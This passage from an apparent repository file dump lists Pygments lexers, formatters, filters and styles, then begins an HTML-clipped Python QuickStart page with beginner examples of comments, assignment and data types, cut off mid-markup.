*.liquid)\n* live-script, livescript:\n    LiveScript (filenames *.ls)\n* llvm:\n    LLVM (filenames *.ll)\n* logos:\n    Logos (filenames *.x, *.xi, *.xm, *.xmi)\n* logtalk:\n    Logtalk (filenames *.lgt, *.logtalk)\n* lsl:\n    LSL (filenames *.lsl)\n* lua:\n    Lua (filenames *.lua, *.wlua)\n* make, makefile, mf, bsdmake:\n    Makefile (filenames *.mak, *.mk, Makefile, makefile, Makefile.*, GNUmakefile)\n* mako:\n    Mako (filenames *.mao)\n* mako:\n    Mako (filenames *.mao)\n* maql:\n    MAQL (filenames *.maql)\n* mask:\n    Mask (filenames *.mask)\n* mason:\n    Mason (filenames *.m, *.mhtml, *.mc, *.mi, autohandler, dhandler)\n* mathematica, mma, nb:\n    Mathematica (filenames *.nb, *.cdf, *.nbp, *.ma)\n* matlab:\n    Matlab (filenames *.m)\n* matlabsession:\n    Matlab session \n* md:\n    markdown (filenames *.md)\n* minid:\n    MiniD \n* modelica:\n    Modelica (filenames *.mo)\n* modula2, m2:\n    Modula-2 (filenames *.def, *.mod)\n* monkey:\n    Monkey (filenames *.monkey)\n* monte:\n    Monte (filenames *.mt)\n* moocode, moo:\n    MOOCode (filenames *.moo)\n* moon, moonscript:\n    MoonScript (filenames *.moon)\n* mozhashpreproc:\n    mozhashpreproc \n* mozpercentpreproc:\n    mozpercentpreproc \n* mql, mq4, mq5, mql4, mql5:\n    MQL (filenames *.mq4, *.mq5, *.mqh)\n* mscgen, msc:\n    Mscgen (filenames *.msc)\n* mupad:\n    MuPAD (filenames *.mu)\n* mxml:\n    MXML (filenames *.mxml)\n* myghty:\n    Myghty (filenames *.myt, autodelegate)\n* mysql:\n    MySQL \n* nasm:\n    NASM (filenames *.asm, *.ASM)\n* ncl:\n    NCL (filenames *.ncl)\n* nemerle:\n    Nemerle (filenames *.n)\n* nesc:\n    nesC (filenames *.nc)\n* newlisp:\n    NewLisp (filenames *.lsp, *.nl, *.kif)\n* newspeak:\n    Newspeak (filenames *.ns2)\n* ng2:\n    Angular2 \n* nginx:\n    Nginx configuration file (filenames nginx.conf)\n* nim, nimrod:\n    Nimrod (filenames *.nim, *.nimrod)\n* nit:\n    Nit (filenames *.nit)\n* nixos, nix:\n    Nix (filenames *.nix)\n* nsis, nsi, nsh:\n    NSIS (filenames *.nsi, *.nsh)\n* numpy:\n    NumPy \n* nusmv:\n    NuSMV (filenames *.smv)\n* objdump-nasm:\n    objdump-nasm (filenames *.objdump-intel)\n* objdump:\n    objdump (filenames *.objdump)\n* objective-c++, objectivec++, obj-c++, objc++:\n    Objective-C++ (filenames *.mm, *.hh)\n* objective-c, objectivec, obj-c, objc:\n    Objective-C (filenames *.m, *.h)\n* objective-j, objectivej, obj-j, objj:\n    Objective-J (filenames *.j)\n* ocaml:\n    OCaml (filenames *.ml, *.mli, *.mll, *.mly)\n* octave:\n    Octave (filenames *.m)\n* odin:\n    ODIN (filenames *.odin)\n* ooc:\n    Ooc (filenames *.ooc)\n* opa:\n    Opa (filenames *.opa)\n* openedge, abl, progress:\n    OpenEdge ABL (filenames *.p, *.cls)\n* pacmanconf:\n    PacmanConf (filenames pacman.conf)\n* pan:\n    Pan (filenames *.pan)\n* parasail:\n    ParaSail (filenames *.psi, *.psl)\n* pawn:\n    Pawn (filenames *.p, *.pwn, *.inc)\n* perl, pl:\n    Perl (filenames *.pl, *.pm, *.t)\n* perl6, pl6:\n    Perl6 (filenames *.pl, *.pm, *.nqp, *.p6, *.6pl, *.p6l, *.pl6, *.6pm, *.p6m, *.pm6, *.t)\n* php, php3, php4, php5:\n    PHP (filenames *.php, *.php[345], *.inc)\n* pig:\n    Pig (filenames *.pig)\n* pike:\n    Pike (filenames *.pike, *.pmod)\n* pkgconfig:\n    PkgConfig (filenames *.pc)\n* plpgsql:\n    PL/pgSQL \n* postgresql, postgres:\n    PostgreSQL SQL dialect \n* postscript, postscr:\n    PostScript (filenames *.ps, *.eps)\n* pot, po:\n    Gettext Catalog (filenames *.pot, *.po)\n* pov:\n    POVRay (filenames *.pov, *.inc)\n* powershell, posh, ps1, psm1:\n    PowerShell (filenames *.ps1, *.psm1)\n* praat:\n    Praat (filenames *.praat, *.proc, *.psc)\n* prolog:\n    Prolog (filenames *.ecl, *.prolog, *.pro, *.pl)\n* properties, jproperties:\n    Properties (filenames *.properties)\n* protobuf, proto:\n    Protocol Buffer (filenames *.proto)\n* ps1con:\n    PowerShell Session \n* psql, postgresql-console, postgres-console:\n    PostgreSQL console (psql) \n* pug, jade:\n    Pug (filenames *.pug, *.jade)\n* puppet:\n    Puppet (filenames *.pp)\n* py3tb:\n    Python 3.0 Traceback (filenames *.py3tb)\n* pycon:\n    Python console session \n* pypylog, pypy:\n    PyPy Log (filenames *.pypylog)\n* pytb:\n    Python Traceback (filenames *.pytb)\n* python, py, sage:\n    Python (filenames *.py, *.pyw, *.sc, SConstruct, SConscript, *.tac, *.sage)\n* python3, py3:\n    Python 3 \n* qbasic, basic:\n    QBasic (filenames *.BAS, *.bas)\n* qml, qbs:\n    QML (filenames *.qml, *.qbs)\n* qvto, qvt:\n    QVTO (filenames *.qvto)\n* racket, rkt:\n    Racket (filenames *.rkt, *.rktd, *.rktl)\n* ragel-c:\n    Ragel in C Host (filenames *.rl)\n* ragel-cpp:\n    Ragel in CPP Host (filenames *.rl)\n* ragel-d:\n    Ragel in D Host (filenames *.rl)\n* ragel-em:\n    Embedded Ragel (filenames *.rl)\n* ragel-java:\n    Ragel in Java Host (filenames *.rl)\n* ragel-objc:\n    Ragel in Objective C Host (filenames *.rl)\n* ragel-ruby, ragel-rb:\n    Ragel in Ruby Host (filenames *.rl)\n* ragel:\n    Ragel \n* raw:\n    Raw token data \n* rb, ruby, duby:\n    Ruby (filenames *.rb, *.rbw, Rakefile, *.rake, *.gemspec, *.rbx, *.duby, Gemfile)\n* rbcon, irb:\n    Ruby irb session \n* rconsole, rout:\n    RConsole (filenames *.Rout)\n* rd:\n    Rd (filenames *.Rd)\n* rebol:\n    REBOL (filenames *.r, *.r3, *.reb)\n* red, red/system:\n    Red (filenames *.red, *.reds)\n* redcode:\n    Redcode (filenames *.cw)\n* registry:\n    reg (filenames *.reg)\n* resource, resourcebundle:\n    ResourceBundle (filenames *.txt)\n* rexx, arexx:\n    Rexx (filenames *.rexx, *.rex, *.rx, *.arexx)\n* rhtml, html+erb, html+ruby:\n    RHTML (filenames *.rhtml)\n* rnc, rng-compact:\n    Relax-NG Compact (filenames *.rnc)\n* roboconf-graph:\n    Roboconf Graph (filenames *.graph)\n* roboconf-instances:\n    Roboconf Instances (filenames *.instances)\n* robotframework:\n    RobotFramework (filenames *.txt, *.robot)\n* rql:\n    RQL (filenames *.rql)\n* rsl:\n    RSL (filenames *.rsl)\n* rst, rest, restructuredtext:\n    reStructuredText (filenames *.rst, *.rest)\n* rts, trafficscript:\n    TrafficScript (filenames *.rts)\n* rust:\n    Rust (filenames *.rs, *.rs.in)\n* sas:\n    SAS (filenames *.SAS, *.sas)\n* sass:\n    Sass (filenames *.sass)\n* sc, supercollider:\n    SuperCollider (filenames *.sc, *.scd)\n* scala:\n    Scala (filenames *.scala)\n* scaml:\n    Scaml (filenames *.scaml)\n* scheme, scm:\n    Scheme (filenames *.scm, *.ss)\n* scilab:\n    Scilab (filenames *.sci, *.sce, *.tst)\n* scss:\n    SCSS (filenames *.scss)\n* shen:\n    Shen (filenames *.shen)\n* silver:\n    Silver (filenames *.sil, *.vpr)\n* slim:\n    Slim (filenames *.slim)\n* smali:\n    Smali (filenames *.smali)\n* smalltalk, squeak, st:\n    Smalltalk (filenames *.st)\n* smarty:\n    Smarty (filenames *.tpl)\n* sml:\n    Standard ML (filenames *.sml, *.sig, *.fun)\n* snobol:\n    Snobol (filenames *.snobol)\n* snowball:\n    Snowball (filenames *.sbl)\n* sourceslist, sources.list, debsources:\n    Debian Sourcelist (filenames sources.list)\n* sp:\n    SourcePawn (filenames *.sp)\n* sparql:\n    SPARQL (filenames *.rq, *.sparql)\n* spec:\n    RPMSpec (filenames *.spec)\n* splus, s, r:\n    S (filenames *.S, *.R, .Rhistory, .Rprofile, .Renviron)\n* sql:\n    SQL (filenames *.sql)\n* sqlite3:\n    sqlite3con (filenames *.sqlite3-console)\n* squidconf, squid.conf, squid:\n    SquidConf (filenames squid.conf)\n* ssp:\n    Scalate Server Page (filenames *.ssp)\n* stan:\n    Stan (filenames *.stan)\n* stata, do:\n    Stata (filenames *.do, *.ado)\n* swift:\n    Swift (filenames *.swift)\n* swig:\n    SWIG (filenames *.swg, *.i)\n* systemverilog, sv:\n    systemverilog (filenames *.sv, *.svh)\n* tads3:\n    TADS 3 (filenames *.t)\n* tap:\n    TAP (filenames *.tap)\n* tasm:\n    TASM (filenames *.asm, *.ASM, *.tasm)\n* tcl:\n    Tcl (filenames *.tcl, *.rvt)\n* tcsh, csh:\n    Tcsh (filenames *.tcsh, *.csh)\n* tcshcon:\n    Tcsh Session \n* tea:\n    Tea (filenames *.tea)\n* termcap:\n    Termcap (filenames termcap, termcap.src)\n* terminfo:\n    Terminfo (filenames terminfo, terminfo.src)\n* terraform, tf:\n    Terraform (filenames *.tf)\n* tex, latex:\n    TeX (filenames *.tex, *.aux, *.toc)\n* text:\n    Text only (filenames *.txt)\n* thrift:\n    Thrift (filenames *.thrift)\n* todotxt:\n    Todotxt (filenames todo.txt, *.todotxt)\n* trac-wiki, moin:\n    MoinMoin/Trac Wiki markup \n* treetop:\n    Treetop (filenames *.treetop, *.tt)\n* ts, typescript:\n    TypeScript (filenames *.ts)\n* tsql, t-sql:\n    Transact-SQL (filenames *.sql)\n* turtle:\n    Turtle (filenames *.ttl)\n* twig:\n    Twig \n* typoscript:\n    TypoScript (filenames *.ts, *.txt)\n* typoscriptcssdata:\n    TypoScriptCssData \n* typoscripthtmldata:\n    TypoScriptHtmlData \n* urbiscript:\n    UrbiScript (filenames *.u)\n* vala, vapi:\n    Vala (filenames *.vala, *.vapi)\n* vb.net, vbnet:\n    VB.net (filenames *.vb, *.bas)\n* vcl:\n    VCL (filenames *.vcl)\n* vclsnippets, vclsnippet:\n    VCLSnippets \n* vctreestatus:\n    VCTreeStatus \n* velocity:\n    Velocity (filenames *.vm, *.fhtml)\n* verilog, v:\n    verilog (filenames *.v)\n* vgl:\n    VGL (filenames *.rpf)\n* vhdl:\n    vhdl (filenames *.vhdl, *.vhd)\n* vim:\n    VimL (filenames *.vim, .vimrc, .exrc, .gvimrc, _vimrc, _exrc, _gvimrc, vimrc, gvimrc)\n* wdiff:\n    WDiff (filenames *.wdiff)\n* whiley:\n    Whiley (filenames *.whiley)\n* x10, xten:\n    X10 (filenames *.x10)\n* xml+cheetah, xml+spitfire:\n    XML+Cheetah \n* xml+django, xml+jinja:\n    XML+Django/Jinja \n* xml+erb, xml+ruby:\n    XML+Ruby \n* xml+evoque:\n    XML+Evoque (filenames *.xml)\n* xml+lasso:\n    XML+Lasso \n* xml+mako:\n    XML+Mako \n* xml+mako:\n    XML+Mako \n* xml+myghty:\n    XML+Myghty \n* xml+php:\n    XML+PHP \n* xml+smarty:\n    XML+Smarty \n* xml+velocity:\n    XML+Velocity \n* xml:\n    XML (filenames *.xml, *.xsl, *.rss, *.xslt, *.xsd, *.wsdl, *.wsf)\n* xquery, xqy, xq, xql, xqm:\n    XQuery (filenames *.xqy, *.xquery, *.xq, *.xql, *.xqm)\n* xslt:\n    XSLT (filenames *.xsl, *.xslt, *.xpl)\n* xtend:\n    Xtend (filenames *.xtend)\n* xul+mozpreproc:\n    XUL+mozpreproc (filenames *.xul.in)\n* yaml+jinja, salt, sls:\n    YAML+Jinja (filenames *.sls)\n* yaml:\n    YAML (filenames *.yaml, *.yml)\n* zephir:\n    Zephir (filenames *.zep)\n\nFormatters:\n~~~~~~~~~~~\n* bbcode, bb:\n    Format tokens with BBcodes. These formatting codes are used by many bulletin boards, so you can highlight your sourcecode with pygments before posting it there. \n* bmp, bitmap:\n    Create a bitmap image from source code. This uses the Python Imaging Library to generate a pixmap from the source code. (filenames *.bmp)\n* gif:\n    Create a GIF image from source code. This uses the Python Imaging Library to generate a pixmap from the source code. (filenames *.gif)\n* html:\n    Format tokens as HTML 4 ``<span>`` tags within a ``<pre>`` tag, wrapped in a ``<div>`` tag. The ``<div>``'s CSS class can be set by the `cssclass` option. (filenames *.html, *.htm)\n* img, IMG, png:\n    Create a PNG image from source code. This uses the Python Imaging Library to generate a pixmap from the source code. (filenames *.png)\n* irc, IRC:\n    Format tokens with IRC color sequences \n* jpg, jpeg:\n    Create a JPEG image from source code. This uses the Python Imaging Library to generate a pixmap from the source code. (filenames *.jpg)\n* latex, tex:\n    Format tokens as LaTeX code. This needs the `fancyvrb` and `color` standard packages. (filenames *.tex)\n* raw, tokens:\n    Format tokens as a raw representation for storing token streams. (filenames *.raw)\n* rtf:\n    Format tokens as RTF markup. This formatter automatically outputs full RTF documents with color information and other useful stuff. Perfect for Copy and Paste into Microsoft(R) Word(R) documents. (filenames *.rtf)\n* svg:\n    Format tokens as an SVG graphics file.  This formatter is still experimental. Each line of code is a ``<text>`` element with explicit ``x`` and ``y`` coordinates containing ``<tspan>`` elements with the individual token styles. (filenames *.svg)\n* terminal, console:\n    Format tokens with ANSI color sequences, for output in a text console. Color sequences are terminated at newlines, so that paging the output works correctly. \n* terminal16m, console16m, 16m:\n    Format tokens with ANSI color sequences, for output in a true-color terminal or console.  Like in `TerminalFormatter` color sequences are terminated at newlines, so that paging the output works correctly. \n* terminal256, console256, 256:\n    Format tokens with ANSI color sequences, for output in a 256-color terminal or console.  Like in `TerminalFormatter` color sequences are terminated at newlines, so that paging the output works correctly. \n* testcase:\n    Format tokens as appropriate for a new testcase. \n* text, null:\n    Output the text unchanged without any formatting. (filenames *.txt)\n\nFilters:\n~~~~~~~~\n* raiseonerror:\n    Raise an exception when the lexer generates an error token.\n* whitespace:\n    Convert tabs, newlines and/or spaces to visible characters.\n* tokenmerge:\n    Merges consecutive tokens with the same token type in the output stream of a lexer.\n* highlight:\n    Highlight a normal Name (and Name.*) token with a different token type.\n* gobble:\n    Gobbles source code lines (eats initial characters).\n* codetagify:\n    Highlight special code tags in comments and docstrings.\n* keywordcase:\n    Convert keywords to lowercase or uppercase or capitalize them, which means first letter uppercase, rest lowercase.\n\nStyles:\n~~~~~~~\n* manni:\n    A colorful style, inspired by the terminal highlighting style.\n* igor:\n    Pygments version of the official colors for Igor Pro procedures.\n* lovelace:\n    The style used in Lovelace interactive learning environment. Tries to avoid the \"angry fruit salad\" effect with desaturated and dim colours.\n* xcode:\n    Style similar to the Xcode default colouring theme.\n* vim:\n    Styles somewhat like vim 7.0\n* autumn:\n    A colorful style, inspired by the terminal highlighting style.\n* abap:\n    \n* vs:\n    \n* rrt:\n    Minimalistic \"rrt\" theme, based on Zap and Emacs defaults.\n* native:\n    Pygments version of the \"native\" vim theme.\n* perldoc:\n    Style similar to the style used in the perldoc code blocks.\n* borland:\n    Style similar to the style used in the borland IDEs.\n* arduino:\n    The Arduino® language style. This style is designed to highlight the Arduino source code, so exepect the best results with it.\n* tango:\n    The Crunchy default Style inspired from the color palette from the Tango Icon Theme Guidelines.\n* emacs:\n    The default style (inspired by Emacs 22).\n* friendly:\n    A modern style based on the VIM pyte theme.\n* monokai:\n    This style mimics the Monokai color scheme.\n* paraiso-dark:\n    \n* colorful:\n    A colorful style, inspired by CodeRay.\n* murphy:\n    Murphy's style from CodeRay.\n* bw:\n    \n* pastie:\n    Style similar to the pastie default style.\n* rainbow_dash:\n    A bright and colorful syntax highlighting theme.\n* algol_nu:\n    \n* paraiso-light:\n    \n* trac:\n    Port of the default trac highlighter design.\n* default:\n    The default style (inspired by Emacs 22).\n* algol:\n    \n* fruity:\n    Pygments version of the \"native\" vim theme.\n"
  },
  {
    "path": "docs/doc/python/quickstart.html",
    "content": "<!DOCTYPE html>\r\n<html>\r\n<head>\r\n  <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\" />\r\n  <title>Python_QuickStart</title>\r\n</head>\r\n<body id=\"note-frame-body\">\r\n  <div class=\"note-content\"><div class=\"ennote\"><div style=\"-evernote-webclip:true\"><br/><div style=\"font-size: 16px; display: inline-block;\"><div style=\"font-stretch:inherit;font-family:'Open Sans', sans-serif;font-size:14px;-webkit-tap-highlight-color:rgba(0, 0, 0, 0);font-style:inherit;font-variant:inherit;font-weight:inherit;box-sizing:border-box;line-height:inherit;vertical-align:baseline;color:rgb(82, 92, 101);-webkit-font-smoothing:antialiased;background:rgb(250, 251, 252);background-color:rgb(204, 232, 207);\"><div style=\"font-variant:inherit;box-sizing:border-box;font-weight:inherit;font-size:14px;color:rgb(82, 92, 101);font-style:inherit;font-family:'Open Sans', sans-serif;line-height:1;font-stretch:inherit;vertical-align:baseline;-webkit-font-smoothing:antialiased;background:rgb(250, 251, 252);background-color:rgb(204, 232, 207);\"><div style=\"box-sizing:border-box;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;transition:opacity 0.2s linear;\"><div style=\"box-sizing:border-box;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><div style=\"box-sizing:border-box;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;overflow-x:hidden;\"><div style=\"box-sizing:border-box;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><div style=\"box-sizing:border-box;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><div style=\"box-sizing:border-box;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><div style=\"box-sizing:border-box;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><div style=\"font-size:inherit;box-sizing:border-box;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-style:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;transition:all 0.3s ease;overflow-x:hidden;\"><div style=\"font-size:inherit;box-sizing:border-box;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-style:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;flex-direction:column;background:rgb(28, 38, 47);\"><div style=\"line-height:28px;box-sizing:border-box;font-family:inherit;font-variant:inherit;font-stretch:inherit;vertical-align:baseline;font-style:inherit;font-weight:inherit;font-size:15px;flex:1 0 auto;color:rgb(79, 79, 79);overflow:hidden;background:white;\"><div style=\"line-height:inherit;box-sizing:border-box;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;font-style:inherit;font-family:inherit;vertical-align:baseline;flex-direction:column;align-items:center;background:rgb(250, 251, 252);\"><div style=\"font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;box-sizing:border-box;flex:1 0 auto;\"><div style=\"box-sizing:border-box;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><div style=\"box-sizing:border-box;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><div style=\"box-sizing:border-box;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;font-family:inherit;vertical-align:baseline;line-height:1.7;\"><h1>Python QuickStart</h1>\r\n<h3 style=\"padding:0px;box-sizing:border-box;border:0px;margin-top:15px;color:rgb(46, 61, 73);vertical-align:baseline;margin:0px;font-family:inherit;line-height:inherit;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:18px;margin-bottom:5px;font-weight:600;\">Comments</h3>\r\n<pre style=\"word-break:break-all;overflow:auto;font-size:inherit;box-sizing:border-box;display:block;font-stretch:inherit;font-weight:inherit;line-height:inherit;color:rgb(51, 51, 51);font-family:'Lucida Console', Monaco, Courier, monospace;word-wrap:break-word;font-variant:inherit;border-radius:4px;font-style:inherit;vertical-align:baseline;background-color:rgb(250, 251, 252);border:0px;margin:20px 0px;padding:20px;\" xml:space=\"preserve\"><code style=\"margin:0px;font-family:'Lucida Console', Monaco, Courier, monospace;box-sizing:border-box;line-height:inherit;font-stretch:inherit;font-weight:inherit;font-variant:inherit;font-style:inherit;border:0px;vertical-align:baseline;font-size:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0px;color:inherit;padding:0px;\"><span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;vertical-align:baseline;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;font-style:italic;color:rgb(153, 153, 136);\"># This is a one-line Python comment - code blocks are so useful!</span>\r\n<span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;&quot;&quot;This type of comment is used to document the purpose of functions and classes.&quot;&quot;&quot;</span>\r\n</code></pre><h3 style=\"padding:0px;box-sizing:border-box;border:0px;margin-top:15px;color:rgb(46, 61, 73);vertical-align:baseline;margin:0px;font-family:inherit;line-height:inherit;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:18px;margin-bottom:5px;font-weight:600;\">Declaration/Initialization</h3>\r\n<pre style=\"word-break:break-all;overflow:auto;font-size:inherit;box-sizing:border-box;display:block;font-stretch:inherit;font-weight:inherit;line-height:inherit;color:rgb(51, 51, 51);font-family:'Lucida Console', Monaco, Courier, monospace;word-wrap:break-word;font-variant:inherit;border-radius:4px;font-style:inherit;vertical-align:baseline;background-color:rgb(250, 251, 252);border:0px;margin:20px 0px;padding:20px;\" xml:space=\"preserve\"><code style=\"margin:0px;font-family:'Lucida Console', Monaco, Courier, monospace;box-sizing:border-box;line-height:inherit;font-stretch:inherit;font-weight:inherit;font-variant:inherit;font-style:inherit;border:0px;vertical-align:baseline;font-size:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0px;color:inherit;padding:0px;\"><span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;vertical-align:baseline;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;font-style:italic;color:rgb(153, 153, 136);\"># Remember values, not variables, have data types.</span>\r\n<span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;vertical-align:baseline;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;font-style:italic;color:rgb(153, 153, 136);\"># A variable can be reassigned to contain a different data type.</span>\r\n<span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">answer</span> = 42\r\n<span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">answer</span> = &quot;The answer is 42.&quot;\r\n</code></pre><h3 style=\"padding:0px;box-sizing:border-box;border:0px;margin-top:15px;color:rgb(46, 61, 73);vertical-align:baseline;margin:0px;font-family:inherit;line-height:inherit;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:18px;margin-bottom:5px;font-weight:600;\">Data Types</h3>\r\n<pre style=\"word-break:break-all;overflow:auto;font-size:inherit;box-sizing:border-box;display:block;font-stretch:inherit;font-weight:inherit;line-height:inherit;color:rgb(51, 51, 51);font-family:'Lucida Console', Monaco, Courier, monospace;word-wrap:break-word;font-variant:inherit;border-radius:4px;font-style:inherit;vertical-align:baseline;background-color:rgb(250, 251, 252);border:0px;margin:20px 0px;padding:20px;\" xml:space=\"preserve\"><code style=\"margin:0px;font-family:'Lucida Console', Monaco, Courier, monospace;box-sizing:border-box;line-height:inherit;font-stretch:inherit;font-weight:inherit;font-variant:inherit;font-style:inherit;border:0px;vertical-align:baseline;font-size:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0px;color:inherit;padding:0px;\"><span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">boolean</span> = <span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">True</span>\r\nnumber = <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">1.1</span>\r\nstring = <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;Strings can be declared with single or double quotes.&quot;</span>\r\nlist = [<span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;Lists can have&quot;</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">1</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">2</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">3</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">4</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;or more types together!&quot;</span>]\r\ntuple = (<span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;Tuples&quot;</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;can have&quot;</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;more than&quot;</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">2</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;elements!&quot;</span>)\r\ndictionary = {<span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">'one'</span>: <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">1</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">'two'</span>: <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">2</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">'three'</span>: <span 